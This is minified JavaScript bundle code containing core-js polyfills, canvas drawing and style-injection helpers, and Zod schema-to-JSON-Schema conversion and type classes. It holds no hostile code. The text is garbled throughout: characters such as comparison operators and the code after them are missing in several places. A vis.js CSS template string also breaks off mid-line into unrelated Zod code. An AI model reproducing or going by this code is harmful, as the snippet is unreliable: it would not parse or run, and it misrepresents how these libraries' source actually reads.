7}}).a!==7}),ZR=zt,BR=Vg,PR=eI,jR=tI,LR=Yg,GR=rs,FR=Rt,VR=qp,Jp=Object.getOwnPropertyDescriptor;$C.f=ZR?Jp:function(e,t){if(e=LR(e),t=GR(t),VR)try{return Jp(e,t)}catch{}if(FR(e,t))return jR(!BR(PR.f,e,t),e[t])};var YR=Ze,UR=Pt,HR=/#|\.prototype\./,II=function(n,e){var t=QR[KR(n)];return t===WR?!0:t===XR?!1:UR(e)?YR(e):!!e},KR=II.normalize=function(n){return String(n).replace(HR,".").toLowerCase()},QR=II.data={},XR=II.NATIVE="N",WR=II.POLYFILL="P",qR=II,$p=ol,JR=jn,$R=JC,eM=$p($p.bind),oI=function(n,e){return JR(n),e===void 0?n:$R?eM(n,e):function(){return n.apply(e,arguments)}},cg={},tM=zt,gM=Ze,em=tM&&gM(function(){return Object.defineProperty(function(){},"prototype",{value:42,writable:!1}).prototype!==42}),iM=Kt,nM=String,AM=TypeError,vi=function(n){if(iM(n))return n;throw new AM(nM(n)+" is not an object")},CM=zt,IM=qp,oM=em,as=vi,tm=rs,sM=TypeError,yl=Object.defineProperty,rM=Object.getOwnPropertyDescriptor,bl="enumerable",wl="configurable",El="writable";cg.f=CM?oM?function(e,t,i){if(as(e),t=tm(t),as(i),typeof e=="function"&&t==="prototype"&&"value"in i&&El in i&&!i[El]){var C=rM(e,t);C&&C[El]&&(e[t]=i.value,i={configurable:wl in i?i[wl]:C[wl],enumerable:bl in i?i[bl]:C[bl],writable:!1})}return yl(e,t,i)}:yl:function(e,t,i){if(as(e),t=tm(t),as(i),IM)try{return yl(e,t,i)}catch{}if("get"in i||"set"in i)throw new sM("Accessors not supported");return"value"in i&&(e[t]=i.value),e};var aM=zt,lM=cg,cM=tI,_A=aM?function(n,e,t){return lM.f(n,e,cM(1,t))}:function(n,e,t){return n[e]=t,n},ls=ot,uM=As,dM=ol,hM=Pt,fM=$C.f,pM=qR,kA=Le,mM=oI,ZA=_A,gm=Rt,vM=function(n){var e=function(t,i,C){if(this instanceof e){switch(arguments.length){case 0:return new n;case 1:return new n(t);case 2:return new n(t,i)}return new n(t,i,C)}return uM(n,this,arguments)};return e.prototype=n.prototype,e},ue=function(n,e){var t=n.target,i=n.global,C=n.stat,o=n.proto,s=i?ls:C?ls[t]:(ls[t]||{}).prototype,a=i?kA:kA[t]||ZA(kA,t,{})[t],l=a.prototype,u,h,p,m,v,w,N,x,D;for(m in e)u=pM(i?m:t+(C?".":"#")+m,n.forced),h=!u&&s&&gm(s,m),w=a[m],h&&(n.dontCallGetSet?(D=fM(s,m),N=D&&D.value):N=s[m]),v=h&&N?N:e[m],!(h&&typeof w==typeof v)&&(n.bind&&h?x=mM(v,ls):n.wrap&&h?x=vM(v):o&&hM(v)?x=dM(v):x=v,(n.sham||v&&v.sham||w&&w.sham)&&ZA(x,"sham",!0),ZA(a,m,x),o&&(p=t+"Prototype",gm(kA,p)||ZA(kA,p,{}),ZA(kA[p],m,v),n.real&&l&&(u||!l[m])&&ZA(l,m,v)))},yM=Math.ceil,bM=Math.floor,wM=Math.trunc||function(e){var t=+e;return(t>0?bM:yM)(t)},EM=wM,cs=function(n){var e=+n;return e!==e||e===0?0:EM(e)},TM=cs,SM=Math.max,OM=Math.min,sI=function(n,e){var t=TM(n);return t<0?SM(t+e,0):OM(t,e)},xM=cs,NM=Math.min,DM=function(n){return n>0?NM(xM(n),9007199254740991):0},zM=DM,Sg=function(n){return zM(n.length)},RM=Yg,MM=sI,_M=Sg,im=function(n){return function(e,t,i){var C=RM(e),o=_M(C),s=MM(i,o),a;if(n&&t!==t){for(;o>s;)if(a=C[s++],a!==a)return!0}else for(;o>s;s++)if((n||s in C)&&C[s]===t)return n||s||0;return!n&&-1}},Tl={includes:im(!0),indexOf:im(!1)},rI={},kM=Be,Sl=Rt,ZM=Yg,BM=Tl.indexOf,PM=rI,nm=kM([].push),Am=function(n,e){var t=ZM(n),i=0,C=[],o;for(o in t)!Sl(PM,o)&&Sl(t,o)&&nm(C,o);for(;e.length>i;)Sl(t,o=e[i++])&&(~BM(C,o)||nm(C,o));return C},Ol=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"],jM=Am,LM=Ol,aI=Object.keys||function(e){return jM(e,LM)},lI={};lI.f=Object.getOwnPropertySymbols;var Cm=zt,GM=Be,FM=Vg,VM=Ze,xl=aI,YM=lI,UM=eI,HM=lg,KM=Is,BA=Object.assign,Im=Object.defineProperty,QM=GM([].concat),XM=!BA||VM(function(){if(Cm&&BA({b:1},BA(Im({},"a",{enumerable:!0,get:function(){Im(this,"b",{value:3,enumerable:!1})}}),{b:2})).b!==1)return!0;var n={},e={},t=Symbol("assign detection"),i="abcdefghijklmnopqrst";return n[t]=7,i.split("").forEach(function(C){e[C]=C}),BA({},n)[t]!==7||xl(BA({},e)).join("")!==i})?function(e,t){for(var i=HM(e),C=arguments.length,o=1,s=YM.f,a=UM.f;C>o;)for(var l=KM(arguments[o++]),u=s?QM(xl(l),s(l)):xl(l),h=u.length,p=0,m;h>p;)m=u[p++],(!Cm||FM(a,l,m))&&(i[m]=l[m]);return i}:BA,WM=ue,om=XM;WM({target:"Object",stat:!0,forced:Object.assign!==om},{assign:om});var qM=Le,JM=qM.Object.assign,$M=JM,e3=$M,t3=e3,ht=re(t3),g3=Be,us=g3([].slice),sm=Be,i3=jn,n3=Kt,A3=Rt,rm=us,C3=JC,am=Function,I3=sm([].concat),o3=sm([].join),Nl={},s3=function(n,e,t){if(!A3(Nl,e)){for(var i=[],C=0;C=.1;)w=+o[p++%s],w>h&&(w=h),v=Math.sqrt(w*w/(1+u*u)),v=a<0?-v:v,e+=v,t+=u*v,m===!0?n.lineTo(e,t):n.moveTo(e,t),h-=w,m=!m}function S3(n,e,t,i){n.beginPath();const C=6,o=Math.PI*2/C;n.moveTo(e+i,t);for(let s=1;s1?t-1:0),C=1;C"u")){var i=document.head||document.getElementsByTagName("head")[0],C=document.createElement("style");C.type="text/css",t==="top"&&i.firstChild?i.insertBefore(C,i.firstChild):i.appendChild(C),C.styleSheet?C.styleSheet.cssText=n:C.appendChild(document.createTextNode(n))}}var x3=`.vis-overlay { +Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`)}for(const s of n.seen.entries()){const a=s[1];if(e===s[0]){o(s);continue}if(n.external){const u=n.external.registry.get(s[0])?.id;if(e!==s[0]&&u){o(s);continue}}if(n.metadataRegistry.get(s[0])?.id){o(s);continue}if(a.cycle){o(s);continue}if(a.count>1&&n.reused==="ref"){o(s);continue}}}function Vf(n,e){const t=n.seen.get(e);if(!t)throw new Error("Unprocessed schema. This is a bug in Zod.");const i=a=>{const l=n.seen.get(a);if(l.ref===null)return;const u=l.def??l.schema,h={...u},p=l.ref;if(l.ref=null,p){i(p);const v=n.seen.get(p),w=v.schema;if(w.$ref&&(n.target==="draft-07"||n.target==="draft-04"||n.target==="openapi-3.0")?(u.allOf=u.allOf??[],u.allOf.push(w)):Object.assign(u,w),Object.assign(u,h),a._zod.parent===p)for(const N in u)N==="$ref"||N==="allOf"||N in h||delete u[N];if(w.$ref&&v.def)for(const N in u)N==="$ref"||N==="allOf"||N in v.def&&JSON.stringify(u[N])===JSON.stringify(v.def[N])&&delete u[N]}const m=a._zod.parent;if(m&&m!==p){i(m);const v=n.seen.get(m);if(v?.schema.$ref&&(u.$ref=v.schema.$ref,v.def))for(const w in u)w==="$ref"||w==="allOf"||w in v.def&&JSON.stringify(u[w])===JSON.stringify(v.def[w])&&delete u[w]}n.override({zodSchema:a,jsonSchema:u,path:l.path??[]})};for(const a of[...n.seen.entries()].reverse())i(a[0]);const C={};if(n.target==="draft-2020-12"?C.$schema="https://json-schema.org/draft/2020-12/schema":n.target==="draft-07"?C.$schema="http://json-schema.org/draft-07/schema#":n.target==="draft-04"?C.$schema="http://json-schema.org/draft-04/schema#":n.target,n.external?.uri){const a=n.external.registry.get(e)?.id;if(!a)throw new Error("Schema is missing an `id` property");C.$id=n.external.uri(a)}Object.assign(C,t.def??t.schema);const o=n.metadataRegistry.get(e)?.id;o!==void 0&&C.id===o&&delete C.id;const s=n.external?.defs??{};for(const a of n.seen.entries()){const l=a[1];l.def&&l.defId&&(l.def.id===l.defId&&delete l.def.id,s[l.defId]=l.def)}n.external||Object.keys(s).length>0&&(n.target==="draft-2020-12"?C.$defs=s:C.definitions=s);try{const a=JSON.parse(JSON.stringify(C));return Object.defineProperty(a,"~standard",{value:{...e["~standard"],jsonSchema:{input:ts(e,"input",n.processors),output:ts(e,"output",n.processors)}},enumerable:!1,writable:!1}),a}catch{throw new Error("Error converting schema to JSON.")}}function Qt(n,e){const t=e??{seen:new Set};if(t.seen.has(n))return!1;t.seen.add(n);const i=n._zod.def;if(i.type==="transform")return!0;if(i.type==="array")return Qt(i.element,t);if(i.type==="set")return Qt(i.valueType,t);if(i.type==="lazy")return Qt(i.getter(),t);if(i.type==="promise"||i.type==="optional"||i.type==="nonoptional"||i.type==="nullable"||i.type==="readonly"||i.type==="default"||i.type==="prefault")return Qt(i.innerType,t);if(i.type==="intersection")return Qt(i.left,t)||Qt(i.right,t);if(i.type==="record"||i.type==="map")return Qt(i.keyType,t)||Qt(i.valueType,t);if(i.type==="pipe")return n._zod.traits.has("$ZodCodec")?!0:Qt(i.in,t)||Qt(i.out,t);if(i.type==="object"){for(const C in i.shape)if(Qt(i.shape[C],t))return!0;return!1}if(i.type==="union"){for(const C of i.options)if(Qt(C,t))return!0;return!1}if(i.type==="tuple"){for(const C of i.items)if(Qt(C,t))return!0;return!!(i.rest&&Qt(i.rest,t))}return!1}const qx=(n,e={})=>t=>{const i=Gf({...t,processors:e});return yt(n,i),Ff(i,n),Vf(i,n)},ts=(n,e,t={})=>i=>{const{libraryOptions:C,target:o}=i??{},s=Gf({...C??{},target:o,io:e,processors:t});return yt(n,s),Ff(s,n),Vf(s,n)},Jx={guid:"uuid",url:"uri",datetime:"date-time",json_string:"json-string",regex:""},$x=(n,e,t,i)=>{const C=t;C.type="string";const{minimum:o,maximum:s,format:a,patterns:l,contentEncoding:u}=n._zod.bag;if(typeof o=="number"&&(C.minLength=o),typeof s=="number"&&(C.maxLength=s),a&&(C.format=Jx[a]??a,C.format===""&&delete C.format,a==="time"&&delete C.format),u&&(C.contentEncoding=u),l&&l.size>0){const h=[...l];h.length===1?C.pattern=h[0].source:h.length>1&&(C.allOf=[...h.map(p=>({...e.target==="draft-07"||e.target==="draft-04"||e.target==="openapi-3.0"?{type:"string"}:{},pattern:p.source}))])}},eN=(n,e,t,i)=>{const C=t,{minimum:o,maximum:s,format:a,multipleOf:l,exclusiveMaximum:u,exclusiveMinimum:h}=n._zod.bag;typeof a=="string"&&a.includes("int")?C.type="integer":C.type="number";const p=typeof h=="number"&&h>=(o??Number.NEGATIVE_INFINITY),m=typeof u=="number"&&u<=(s??Number.POSITIVE_INFINITY),v=e.target==="draft-04"||e.target==="openapi-3.0";p?v?(C.minimum=h,C.exclusiveMinimum=!0):C.exclusiveMinimum=h:typeof o=="number"&&(C.minimum=o),m?v?(C.maximum=u,C.exclusiveMaximum=!0):C.exclusiveMaximum=u:typeof s=="number"&&(C.maximum=s),typeof l=="number"&&(C.multipleOf=l)},tN=(n,e,t,i)=>{t.type="boolean"},gN=(n,e,t,i)=>{t.not={}},iN=(n,e,t,i)=>{},nN=(n,e,t,i)=>{const C=n._zod.def,o=Af(C.entries);o.every(s=>typeof s=="number")&&(t.type="number"),o.every(s=>typeof s=="string")&&(t.type="string"),t.enum=o},AN=(n,e,t,i)=>{const C=n._zod.def,o=[];for(const s of C.values)if(s===void 0){if(e.unrepresentable==="throw")throw new Error("Literal `undefined` cannot be represented in JSON Schema")}else if(typeof s=="bigint"){if(e.unrepresentable==="throw")throw new Error("BigInt literals cannot be represented in JSON Schema");o.push(Number(s))}else o.push(s);if(o.length!==0)if(o.length===1){const s=o[0];t.type=s===null?"null":typeof s,e.target==="draft-04"||e.target==="openapi-3.0"?t.enum=[s]:t.const=s}else o.every(s=>typeof s=="number")&&(t.type="number"),o.every(s=>typeof s=="string")&&(t.type="string"),o.every(s=>typeof s=="boolean")&&(t.type="boolean"),o.every(s=>s===null)&&(t.type="null"),t.enum=o},CN=(n,e,t,i)=>{if(e.unrepresentable==="throw")throw new Error("Custom types cannot be represented in JSON Schema")},IN=(n,e,t,i)=>{if(e.unrepresentable==="throw")throw new Error("Transforms cannot be represented in JSON Schema")},oN=(n,e,t,i)=>{const C=t,o=n._zod.def,{minimum:s,maximum:a}=n._zod.bag;typeof s=="number"&&(C.minItems=s),typeof a=="number"&&(C.maxItems=a),C.type="array",C.items=yt(o.element,e,{...i,path:[...i.path,"items"]})},sN=(n,e,t,i)=>{const C=t,o=n._zod.def;C.type="object",C.properties={};const s=o.shape;for(const u in s)C.properties[u]=yt(s[u],e,{...i,path:[...i.path,"properties",u]});const a=new Set(Object.keys(s)),l=new Set([...a].filter(u=>{const h=o.shape[u]._zod;return e.io==="input"?h.optin===void 0:h.optout===void 0}));l.size>0&&(C.required=Array.from(l)),o.catchall?._zod.def.type==="never"?C.additionalProperties=!1:o.catchall?o.catchall&&(C.additionalProperties=yt(o.catchall,e,{...i,path:[...i.path,"additionalProperties"]})):e.io==="output"&&(C.additionalProperties=!1)},rN=(n,e,t,i)=>{const C=n._zod.def,o=C.inclusive===!1,s=C.options.map((a,l)=>yt(a,e,{...i,path:[...i.path,o?"oneOf":"anyOf",l]}));o?t.oneOf=s:t.anyOf=s},aN=(n,e,t,i)=>{const C=n._zod.def,o=yt(C.left,e,{...i,path:[...i.path,"allOf",0]}),s=yt(C.right,e,{...i,path:[...i.path,"allOf",1]}),a=u=>"allOf"in u&&Object.keys(u).length===1,l=[...a(o)?o.allOf:[o],...a(s)?s.allOf:[s]];t.allOf=l},lN=(n,e,t,i)=>{const C=t,o=n._zod.def;C.type="object";const s=o.keyType,l=s._zod.bag?.patterns;if(o.mode==="loose"&&l&&l.size>0){const h=yt(o.valueType,e,{...i,path:[...i.path,"patternProperties","*"]});C.patternProperties={};for(const p of l)C.patternProperties[p.source]=h}else(e.target==="draft-07"||e.target==="draft-2020-12")&&(C.propertyNames=yt(o.keyType,e,{...i,path:[...i.path,"propertyNames"]})),C.additionalProperties=yt(o.valueType,e,{...i,path:[...i.path,"additionalProperties"]});const u=s._zod.values;if(u){const h=[...u].filter(p=>typeof p=="string"||typeof p=="number");h.length>0&&(C.required=h)}},cN=(n,e,t,i)=>{const C=n._zod.def,o=yt(C.innerType,e,i),s=e.seen.get(n);e.target==="openapi-3.0"?(s.ref=C.innerType,t.nullable=!0):t.anyOf=[o,{type:"null"}]},uN=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType},dN=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,t.default=JSON.parse(JSON.stringify(C.defaultValue))},hN=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,e.io==="input"&&(t._prefault=JSON.parse(JSON.stringify(C.defaultValue)))},fN=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType;let s;try{s=C.catchValue(void 0)}catch{throw new Error("Dynamic catch values are not supported in JSON Schema")}t.default=s},pN=(n,e,t,i)=>{const C=n._zod.def,o=C.in._zod.traits.has("$ZodTransform"),s=e.io==="input"?o?C.out:C.in:C.out;yt(s,e,i);const a=e.seen.get(n);a.ref=s},mN=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,t.readOnly=!0},Yf=(n,e,t,i)=>{const C=n._zod.def;yt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType},vN=F("ZodISODateTime",(n,e)=>{yO.init(n,e),It.init(n,e)});function yN(n){return Ox(vN,n)}const bN=F("ZodISODate",(n,e)=>{bO.init(n,e),It.init(n,e)});function wN(n){return xx(bN,n)}const EN=F("ZodISOTime",(n,e)=>{wO.init(n,e),It.init(n,e)});function TN(n){return Nx(EN,n)}const SN=F("ZodISODuration",(n,e)=>{EO.init(n,e),It.init(n,e)});function ON(n){return Dx(SN,n)}const Tg=F("ZodError",(n,e)=>{af.init(n,e),n.name="ZodError",Object.defineProperties(n,{format:{value:t=>cS(n,t)},flatten:{value:t=>lS(n,t)},addIssue:{value:t=>{n.issues.push(t),n.message=JSON.stringify(n.issues,Ua,2)}},addIssues:{value:t=>{n.issues.push(...t),n.message=JSON.stringify(n.issues,Ua,2)}},isEmpty:{get(){return n.issues.length===0}}})},{Parent:Error}),xN=Wa(Tg),NN=qa(Tg),DN=Xo(Tg),zN=Wo(Tg),RN=hS(Tg),MN=fS(Tg),_N=pS(Tg),kN=mS(Tg),ZN=vS(Tg),BN=yS(Tg),PN=bS(Tg),jN=wS(Tg),Uf=new WeakMap;function WC(n,e,t){const i=Object.getPrototypeOf(n);let C=Uf.get(i);if(C||(C=new Set,Uf.set(i,C)),!C.has(e)){C.add(e);for(const o in t){const s=t[o];Object.defineProperty(i,o,{configurable:!0,enumerable:!1,get(){const a=s.bind(this);return Object.defineProperty(this,o,{configurable:!0,writable:!0,enumerable:!0,value:a}),a},set(a){Object.defineProperty(this,o,{configurable:!0,writable:!0,enumerable:!0,value:a})}})}}}const Ct=F("ZodType",(n,e)=>(At.init(n,e),Object.assign(n["~standard"],{jsonSchema:{input:ts(n,"input"),output:ts(n,"output")}}),n.toJSONSchema=qx(n,{}),n.def=e,n.type=e.type,Object.defineProperty(n,"_def",{value:e}),n.parse=(t,i)=>xN(n,t,i,{callee:n.parse}),n.safeParse=(t,i)=>DN(n,t,i),n.parseAsync=async(t,i)=>NN(n,t,i,{callee:n.parseAsync}),n.safeParseAsync=async(t,i)=>zN(n,t,i),n.spa=n.safeParseAsync,n.encode=(t,i)=>RN(n,t,i),n.decode=(t,i)=>MN(n,t,i),n.encodeAsync=async(t,i)=>_N(n,t,i),n.decodeAsync=async(t,i)=>kN(n,t,i),n.safeEncode=(t,i)=>ZN(n,t,i),n.safeDecode=(t,i)=>BN(n,t,i),n.safeEncodeAsync=async(t,i)=>PN(n,t,i),n.safeDecodeAsync=async(t,i)=>jN(n,t,i),WC(n,"ZodType",{check(...t){const i=this.def;return this.clone(Ki(i,{checks:[...i.checks??[],...t.map(C=>typeof C=="function"?{_zod:{check:C,def:{check:"custom"},onattach:[]}}:C)]}),{parent:!0})},with(...t){return this.check(...t)},clone(t,i){return Qi(this,t,i)},brand(){return this},register(t,i){return t.add(this,i),this},refine(t,i){return this.check(MD(t,i))},superRefine(t,i){return this.check(_D(t,i))},overwrite(t){return this.check(xA(t))},optional(){return $f(this)},exactOptional(){return vD(this)},nullable(){return ep(this)},nullish(){return $f(ep(this))},nonoptional(t){return SD(this,t)},array(){return NA(this)},or(t){return lD([this,t])},and(t){return uD(this,t)},transform(t){return gp(this,pD(t))},default(t){return wD(this,t)},prefault(t){return TD(this,t)},catch(t){return xD(this,t)},pipe(t){return gp(this,t)},readonly(){return zD(this)},describe(t){const i=this.clone();return XC.add(i,{description:t}),i},meta(...t){if(t.length===0)return XC.get(this);const i=this.clone();return XC.add(i,t[0]),i},isOptional(){return this.safeParse(void 0).success},isNullable(){return this.safeParse(null).success},apply(t){return t(this)}}),Object.defineProperty(n,"description",{get(){return XC.get(n)?.description},configurable:!0}),n)),Hf=F("_ZodString",(n,e)=>{Ja.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>$x(n,i,C);const t=n._zod.bag;n.format=t.format??null,n.minLength=t.minimum??null,n.maxLength=t.maximum??null,WC(n,"_ZodString",{regex(...i){return this.check(Zx(...i))},includes(...i){return this.check(jx(...i))},startsWith(...i){return this.check(Lx(...i))},endsWith(...i){return this.check(Gx(...i))},min(...i){return this.check(es(...i))},max(...i){return this.check(jf(...i))},length(...i){return this.check(Lf(...i))},nonempty(...i){return this.check(es(1,...i))},lowercase(i){return this.check(Bx(i))},uppercase(i){return this.check(Px(i))},trim(){return this.check(Vx())},normalize(...i){return this.check(Fx(...i))},toLowerCase(){return this.check(Yx())},toUpperCase(){return this.check(Ux())},slugify(){return this.check(Hx())}})}),LN=F("ZodString",(n,e)=>{Ja.init(n,e),Hf.init(n,e),n.email=t=>n.check(Cx(GN,t)),n.url=t=>n.check(ax(FN,t)),n.jwt=t=>n.check(Sx(iD,t)),n.emoji=t=>n.check(lx(VN,t)),n.guid=t=>n.check(kf(Kf,t)),n.uuid=t=>n.check(Ix(gs,t)),n.uuidv4=t=>n.check(ox(gs,t)),n.uuidv6=t=>n.check(sx(gs,t)),n.uuidv7=t=>n.check(rx(gs,t)),n.nanoid=t=>n.check(cx(YN,t)),n.guid=t=>n.check(kf(Kf,t)),n.cuid=t=>n.check(ux(UN,t)),n.cuid2=t=>n.check(dx(HN,t)),n.ulid=t=>n.check(hx(KN,t)),n.base64=t=>n.check(wx(eD,t)),n.base64url=t=>n.check(Ex(tD,t)),n.xid=t=>n.check(fx(QN,t)),n.ksuid=t=>n.check(px(XN,t)),n.ipv4=t=>n.check(mx(WN,t)),n.ipv6=t=>n.check(vx(qN,t)),n.cidrv4=t=>n.check(yx(JN,t)),n.cidrv6=t=>n.check(bx($N,t)),n.e164=t=>n.check(Tx(gD,t)),n.datetime=t=>n.check(yN(t)),n.date=t=>n.check(wN(t)),n.time=t=>n.check(TN(t)),n.duration=t=>n.check(ON(t))});function ut(n){return Ax(LN,n)}const It=F("ZodStringFormat",(n,e)=>{gt.init(n,e),Hf.init(n,e)}),GN=F("ZodEmail",(n,e)=>{lO.init(n,e),It.init(n,e)}),Kf=F("ZodGUID",(n,e)=>{rO.init(n,e),It.init(n,e)}),gs=F("ZodUUID",(n,e)=>{aO.init(n,e),It.init(n,e)}),FN=F("ZodURL",(n,e)=>{cO.init(n,e),It.init(n,e)}),VN=F("ZodEmoji",(n,e)=>{uO.init(n,e),It.init(n,e)}),YN=F("ZodNanoID",(n,e)=>{dO.init(n,e),It.init(n,e)}),UN=F("ZodCUID",(n,e)=>{hO.init(n,e),It.init(n,e)}),HN=F("ZodCUID2",(n,e)=>{fO.init(n,e),It.init(n,e)}),KN=F("ZodULID",(n,e)=>{pO.init(n,e),It.init(n,e)}),QN=F("ZodXID",(n,e)=>{mO.init(n,e),It.init(n,e)}),XN=F("ZodKSUID",(n,e)=>{vO.init(n,e),It.init(n,e)}),WN=F("ZodIPv4",(n,e)=>{TO.init(n,e),It.init(n,e)}),qN=F("ZodIPv6",(n,e)=>{SO.init(n,e),It.init(n,e)}),JN=F("ZodCIDRv4",(n,e)=>{OO.init(n,e),It.init(n,e)}),$N=F("ZodCIDRv6",(n,e)=>{xO.init(n,e),It.init(n,e)}),eD=F("ZodBase64",(n,e)=>{NO.init(n,e),It.init(n,e)}),tD=F("ZodBase64URL",(n,e)=>{zO.init(n,e),It.init(n,e)}),gD=F("ZodE164",(n,e)=>{RO.init(n,e),It.init(n,e)}),iD=F("ZodJWT",(n,e)=>{_O.init(n,e),It.init(n,e)}),Qf=F("ZodNumber",(n,e)=>{bf.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>eN(n,i,C),WC(n,"ZodNumber",{gt(i,C){return this.check(Bf(i,C))},gte(i,C){return this.check(tl(i,C))},min(i,C){return this.check(tl(i,C))},lt(i,C){return this.check(Zf(i,C))},lte(i,C){return this.check(el(i,C))},max(i,C){return this.check(el(i,C))},int(i){return this.check(Xf(i))},safe(i){return this.check(Xf(i))},positive(i){return this.check(Bf(0,i))},nonnegative(i){return this.check(tl(0,i))},negative(i){return this.check(Zf(0,i))},nonpositive(i){return this.check(el(0,i))},multipleOf(i,C){return this.check(Pf(i,C))},step(i,C){return this.check(Pf(i,C))},finite(){return this}});const t=n._zod.bag;n.minValue=Math.max(t.minimum??Number.NEGATIVE_INFINITY,t.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,n.maxValue=Math.min(t.maximum??Number.POSITIVE_INFINITY,t.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,n.isInt=(t.format??"").includes("int")||Number.isSafeInteger(t.multipleOf??.5),n.isFinite=!0,n.format=t.format??null});function Sg(n){return zx(Qf,n)}const nD=F("ZodNumberFormat",(n,e)=>{kO.init(n,e),Qf.init(n,e)});function Xf(n){return Rx(nD,n)}const AD=F("ZodBoolean",(n,e)=>{ZO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>tN(n,t,i)});function gl(n){return Mx(AD,n)}const CD=F("ZodUnknown",(n,e)=>{BO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>iN()});function Pn(){return _x(CD)}const ID=F("ZodNever",(n,e)=>{PO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>gN(n,t,i)});function oD(n){return kx(ID,n)}const sD=F("ZodArray",(n,e)=>{jO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>oN(n,t,i,C),n.element=e.element,WC(n,"ZodArray",{min(t,i){return this.check(es(t,i))},nonempty(t){return this.check(es(1,t))},max(t,i){return this.check(jf(t,i))},length(t,i){return this.check(Lf(t,i))},unwrap(){return this.element}})});function NA(n,e){return Kx(sD,n,e)}const rD=F("ZodObject",(n,e)=>{GO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>sN(n,t,i,C),Ye(n,"shape",()=>e.shape),WC(n,"ZodObject",{keyof(){return is(Object.keys(this._zod.def.shape))},catchall(t){return this.clone({...this._zod.def,catchall:t})},passthrough(){return this.clone({...this._zod.def,catchall:Pn()})},loose(){return this.clone({...this._zod.def,catchall:Pn()})},strict(){return this.clone({...this._zod.def,catchall:oD()})},strip(){return this.clone({...this._zod.def,catchall:void 0})},extend(t){return CS(this,t)},safeExtend(t){return IS(this,t)},merge(t){return oS(this,t)},pick(t){return nS(this,t)},omit(t){return AS(this,t)},partial(...t){return sS(Jf,this,t[0])},required(...t){return rS(tp,this,t[0])}})});function pi(n,e){const t={type:"object",shape:n??{},...oe(e)};return new rD(t)}const aD=F("ZodUnion",(n,e)=>{FO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>rN(n,t,i,C),n.options=e.options});function lD(n,e){return new aD({type:"union",options:n,...oe(e)})}const cD=F("ZodIntersection",(n,e)=>{VO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>aN(n,t,i,C)});function uD(n,e){return new cD({type:"intersection",left:n,right:e})}const Wf=F("ZodRecord",(n,e)=>{YO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>lN(n,t,i,C),n.keyType=e.keyType,n.valueType=e.valueType});function qf(n,e,t){return!e||!e._zod?new Wf({type:"record",keyType:ut(),valueType:n,...oe(e)}):new Wf({type:"record",keyType:n,valueType:e,...oe(t)})}const il=F("ZodEnum",(n,e)=>{UO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>nN(n,i,C),n.enum=e.entries,n.options=Object.values(e.entries);const t=new Set(Object.keys(e.entries));n.extract=(i,C)=>{const o={};for(const s of i)if(t.has(s))o[s]=e.entries[s];else throw new Error(`Key ${s} not found in enum`);return new il({...e,checks:[],...oe(C),entries:o})},n.exclude=(i,C)=>{const o={...e.entries};for(const s of i)if(t.has(s))delete o[s];else throw new Error(`Key ${s} not found in enum`);return new il({...e,checks:[],...oe(C),entries:o})}});function is(n,e){const t=Array.isArray(n)?Object.fromEntries(n.map(i=>[i,i])):n;return new il({type:"enum",entries:t,...oe(e)})}const dD=F("ZodLiteral",(n,e)=>{HO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>AN(n,t,i),n.values=new Set(e.values),Object.defineProperty(n,"value",{get(){if(e.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return e.values[0]}})});function hD(n,e){return new dD({type:"literal",values:Array.isArray(n)?n:[n],...oe(e)})}const fD=F("ZodTransform",(n,e)=>{KO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>IN(n,t),n._zod.parse=(t,i)=>{if(i.direction==="backward")throw new nf(n.constructor.name);t.addIssue=o=>{if(typeof o=="string")t.issues.push(QC(o,t.value,e));else{const s=o;s.fatal&&(s.continue=!1),s.code??(s.code="custom"),s.input??(s.input=t.value),s.inst??(s.inst=n),t.issues.push(QC(s))}};const C=e.transform(t.value,t);return C instanceof Promise?C.then(o=>(t.value=o,t.fallback=!0,t)):(t.value=C,t.fallback=!0,t)}});function pD(n){return new fD({type:"transform",transform:n})}const Jf=F("ZodOptional",(n,e)=>{Nf.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>Yf(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function $f(n){return new Jf({type:"optional",innerType:n})}const mD=F("ZodExactOptional",(n,e)=>{QO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>Yf(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function vD(n){return new mD({type:"optional",innerType:n})}const yD=F("ZodNullable",(n,e)=>{XO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>cN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function ep(n){return new yD({type:"nullable",innerType:n})}const bD=F("ZodDefault",(n,e)=>{WO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>dN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType,n.removeDefault=n.unwrap});function wD(n,e){return new bD({type:"default",innerType:n,get 